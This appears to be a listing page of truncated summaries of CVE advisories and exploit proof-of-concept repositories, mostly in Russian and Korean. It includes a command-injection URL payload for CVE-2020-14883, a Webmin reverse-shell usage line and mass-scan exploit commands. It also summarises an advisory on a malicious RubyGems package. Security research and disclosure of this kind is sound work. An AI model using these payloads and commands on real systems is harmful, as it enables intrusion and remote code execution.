CVE-2022-23935

CVE-2022-23935 Программный продукт Exiftool, в версиях до 12.38, имеет уязвимость безопасности, которая может быть использована через специально созданное имя файла. Эта уязвимость позволяет внедрение команд, при котором злоумышленник может выполнять произвольные команды в системе, добавляя симво...

Vulnerability-Research

🛡️ Исследование уязвимостей Здесь я веду каталог обнаруженных мной уязвимостей: соответствующие отчёты write-ups с подробным описанием слабых мест, а также сведения об их влиянии и способах устранения. 🏆 Присвоенные CVE CVE ID| Название уязвимости| Серьёзность/CVSS| Опубликовано| Отчёт...

CVE-2026-4480-POC

CVE-2026-4480 - Samba 인쇄 하위 시스템 원격 코드 실행 개요 Samba 인쇄 하위 시스템에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점인 CVE-2026-4480 과 관련된 개념 증명 및 연구 자료입니다. 이 취약점은 %J 치환 매개변수를 통해 구성된 print command로 전달되는 사용자 제어 인쇄 작업 설명의 부적절한 처리로 인해 발생합니다. 취약점 세부 정보 CVE: CVE-2026-4480 구성 요소: Samba 인쇄 하위 시스템 유형: OS 명령 주입 CWE-78 영향: 원격 코드 실행 공...

CVE-2025-24893-PoC

CVE-2025-24893 – Удаленное выполнение команд в XWiki Proof of Concept Обзор Этот репозиторий содержит контролируемое доказательство концепции PoC для CVE-2025-24893 — уязвимости неавторизованного удаленного выполнения команд RCE в XWiki. Уязвимость позволяет злоумышленнику выполнять произвольные...

Malicious code in req-throttle-mini (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17568 Malicious code in req-throttle-mini (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

hfs-cve-2014-6287-exploit

Инструмент эксплуатации HFS CVE-2014-6287 Обзор Этот репозиторий содержит инструмент эксплуатации на Python, предназначенный для использования уязвимости CVE-2014-6287 в HTTP File Server HFS версий 2.3.x. Эта уязвимость позволяет злоумышленнику выполнять произвольные команды на сервере, что...

CVE-2020-14883

http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...

CVE-2024-56115

CVE-2024-56115 Предлагаемое описание Уязвимость в Amiro.CMS до версии 7.8.4 существует из-за отсутствия мер по нейтрализации специальных элементов. Она позволяет удаленным злоумышленникам провести атаку с использованием межсайтового скриптинга XSS. Тип уязвимости CWE-78 | Неправильная нейтрализац...

CVE-2011-3192

CVE-2011-3192 Запустите с использованием python 3.7 или 3.10 протестировано на них 1. git clone https://github.com/futurezayka/CVE-2011-3192.git 2. cd ./CVE-2011-3192 3. pip install -r requirements.txt 4. python3 exploit.py host tasks пример python3 exploit.py https://example.com 50...

SSP-Assignment-3-RCEYouLater

CVE-2023-46604: Apache ActiveMQ RCE Доказательство концепции Задание: SSP Assignment 3 Команда: RCE You Later Участники: Banica Horia Alexandru, Comarlau Vlad-Constantin Ссылка на видео использования репозитория для выполнения PoC:https://www.youtube.com/watch?v=vum4qTF4ygU 🚨 Обзор Этот репозитор...

CVE-2026-20127_EXP

CVE-2026-20127EXP Cisco Catalyst SD-WAN 인증 우회 취약점CVE-2026-20127 익스플로잇 EXP 기본 사용법 python scan.py -f targets.txt 상세 정보 표시 python scan.py -f targets.txt -v 스레드 수 조정 및 결과 저장 python scan.py -f targets.txt -t 10 -o vulnerable.txt WAR 파일 경로 지정 python scan.py -f targets.txt -w cmd.war WAR 파일 경로 지정, 스레드 조...

CVE-2020-9484

Инструмент предназначен только для исследований в области безопасности и внутренних проверок. Запрещается использовать инструмент для проведения незаконных атак. Ответственность за последствия несет пользователь. Инструмент предназначен только для исследований в области безопасности и внутренних...

CVE-2026-40176-poc

CVE-2026-40176: PoC инъекции команд ОС в Composer Perforce English version Обзор Этот репозиторий представляет собой Proof of Concept PoC критической уязвимости инъекции команд ОС CVE-2026-40176 , существующей в драйвере Perforce VCS в Composer. Уязвимость затрагивает версии Composer до 2.2.27 и...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-Модель угроз----ms-agent-Внедрение команд...

FreeRDP: FreeRDP: Denial of Service via crafted Surface Bits command

A flaw was found in FreeRDP. A malicious Remote Desktop Protocol RDP server can trigger a null pointer dereference in the gdisurfacebits function by sending a specially crafted Surface Bits command that claims to use the NSCodec codec ID. This vulnerability exists even when the NSCodec is disable...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Автономный POC для CVE-2019-12840. Ниже отправляет обратную оболочку на порт 443 $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || ||...

watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604

watchTowr-vs-Dell-UnityVSA-CVE-2025-36604 Dell UnityVSA CVE-2025-36604 탐지 아티팩트 생성기 https://github.com/user-attachments/assets/28488a97-7845-4b78-9fe7-64b9172ab023 기술적 세부 사항은 블로그 게시물을 참조하세요. 동작 중 탐지 python watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604.py --target https://192.168.5.45/ --comman...

CVE-2025-49132-poc

CVE-2025-49132-poc Я создал этот POC для CVE-2025-49132, так как было интересно его делать, и он является частью испытания на моей киберплатформе deepreview! Эта CVE использует уязвимость включения файлов, которая может быть повышена до удалённого выполнения кода с помощью скрипта pearcmd.php. Эт...

1Panel-CVE-2025-54424-

CVE-2025-54424 CVE-2025-54424: 1Panel - RCE через обход клиентского сертификата. Комбинированный инструмент сканирование + эксплуатация Описание уязвимости 1Panel — это открытая, современная панель управления Linux, предоставляющая графический интерфейс для развертывания веб-сайтов, управления...